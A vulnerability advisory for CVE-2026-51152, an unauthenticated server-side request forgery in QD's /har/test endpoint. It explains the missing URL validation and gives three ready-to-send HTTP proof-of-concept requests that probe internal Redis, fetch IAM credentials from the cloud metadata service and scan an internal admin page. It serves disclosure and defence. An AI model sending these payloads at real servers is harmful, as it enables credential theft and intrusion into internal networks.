CVE-2026-51152

CVE-2026-51152

[CVE ID]
CVE-2026-51152

[PRODUCT]
QD-20250803

[VERSION]
from QD-20220208 to QD-20250803

[PROBLEM TYPE]
Server-side request forgery (SSRF)

[DESCRIPTION]
QD provides a HAR test endpoint (/har/test) that allows an attacker to control the target URL of an outbound HTTP request made by the server. The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.

[PROOF OF CONCEPT]

=== 1. Basic SSRF — probe internal Redis service ===

POST /har/test HTTP/1.1
Host: <TARGET_IP>:8923
Content-Type: application/json
Content-Length: 373

{
  "request": {
    "method": "GET",
    "url": "http://127.0.0.1:6379/",
    "headers": [{"name": "User-Agent", "value": "qd-ssrf-test"}],
    "cookies": []
  },
  "rule": {
    "success_asserts": [],
    "failed_asserts": [],
    "extract_variables": []
  },
  "env": {
    "variables": {},
    "session": []
  }
}

=== 2. Cloud metadata SSRF — AWS/Meta credential exfiltration ===

POST /har/test HTTP/1.1
Host: <TARGET_IP>:8923
Content-Type: application/json
Content-Length: 385

{
  "request": {
    "method": "GET",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin",
    "headers": [{"name": "User-Agent", "value": "qd-ssrf-test"}],
    "cookies": []
  },
  "rule": {
    "success_asserts": [],
    "failed_asserts": [],
    "extract_variables": []
  },
  "env": {
    "variables": {},
    "session": []
  }
}

=== 3. Internal network reconnaissance ===

POST /har/test HTTP/1.1
Host: <TARGET_IP>:8923
Content-Type: application/json
Content-Length: 382

{
  "request": {
    "method": "GET",
    "url": "http://192.168.1.1/admin/status",
    "headers": [{"name": "User-Agent", "value": "qd-ssrf-test"}],
    "cookies": []
  },
  "rule": {
    "success_asserts": [],
    "failed_asserts": [],
    "extract_variables": []
  },
  "env": {
    "variables": {},
    "session": []
  }
}

[REFERENCE]
https://qd-today.github.io/qd/
https://github.com/qd-today/qd/releases/tag/20250803